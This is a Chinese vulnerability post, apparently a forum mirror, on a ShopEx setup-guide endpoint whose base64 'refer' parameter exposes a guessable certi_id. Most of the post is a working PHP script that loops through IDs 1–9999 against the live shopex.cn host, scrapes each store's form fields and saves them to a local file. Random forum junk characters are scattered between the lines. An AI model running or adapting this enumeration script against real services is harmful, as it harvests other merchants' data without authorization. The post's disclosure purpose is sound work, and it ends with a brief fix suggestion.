ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
, Y' o. m9 ^! f; y) Z3 k( _问题出现在shopex 网店使用向导页面
5 i2 B- V1 ?" ?4 F( b

6 c0 \7 h+ U# o( ^8 p; e
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
& K# ?" d3 V1 x, t, T
  K; \1 [, {; b- G! @- \, R

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! m$ E( s& U; d4 Y
. ?% t) W" h4 A( I

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
/ p3 B- [1 f, T9 P  j- x
5 j: k% q' L) E

* V7 M$ ~& f7 r1 c3 |% ?<?php
) ^0 _' l: C9 t  R/ y2 j* i
- S' d/ Y- z, q& U4 n                for ($i=1; $i < 10000; $i++) { //遍历
4 A' }2 ?& f3 ]
7 C. C9 F9 j+ j- i                        ShowshopExD($i);
0 Z5 j2 n: b) T; r0 x- W5 J
0 c8 D$ _" c6 {* C9 O4 E                }
# L# Q: _. F8 G2 @' R% d" v
                function ShowshopExD($cid) {

2 a6 B: ~* r% d* R- K  o: l                $url='http://guide.ecos.shopex.cn/step2.php';

* `. L  m: F% c* J- |, W+ h                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
; V: f. f. ]: {3 r, _6 {5 f
        $url = $url.'?refer='.$refer;

2 ~: t* A- y9 S        $ch = curl_init($url);

) j) j' ^; r7 h! Q! Z        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
' t0 f) s" t; U& r# m
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

/ d( ^+ C, l4 b. ^4 w3 ]        $result = curl_exec($ch);

( `! T/ X. u5 M( I% f        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
* |- J) ]; e: K, ]8 M
0 G, O1 V! b- m% i( @        {
; A: O7 Q5 \4 i" I$ t/ [
# S' ~$ |( E- a0 `0 a% B                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
1 b7 b6 y9 ]6 o! V7 c/ ?7 v
                foreach ($value[1] as $key) {
9 b1 l/ C7 M& i# S- Q+ ^1 I" k
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

: L8 q* |7 ^8 L8 l                        $col =$res[1][0].':'.$res[3][0]."\r\n";
( {6 Q  d, V4 [1 d- h  n
                        fwrite($fp, $col, strlen($col));
2 X! C% l% p% R6 n% V
                }
% X' W. {. v% D2 V2 ]0 C7 H3 W
. u& p2 q$ @, |  ~; M                echo '--------------------------------'."\r\n";
1 D) q1 L, m" F6 D3 e+ f# a$ C
8 V: [% \; F/ O5 z( `                fclose($fp);
' |5 h* Q6 ?: B1 M9 W
2 Q; m# ~% j$ w+ w1 @5 K        }
8 K* s) z9 F+ p" o5 c- ^* p5 ]
        flush();
9 O" D# U* A6 c1 N! K* k8 H
8 M% |1 M7 Y, w2 c$ b/ @& _- v& U9 X        curl_close($ch);

                }

+ Q; }, i2 r$ C1 a$ Q! {?>
漏洞证明：
! H) m, k8 i4 A/ }http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
+ B8 r4 `2 r8 E( irefer换成其他加密方式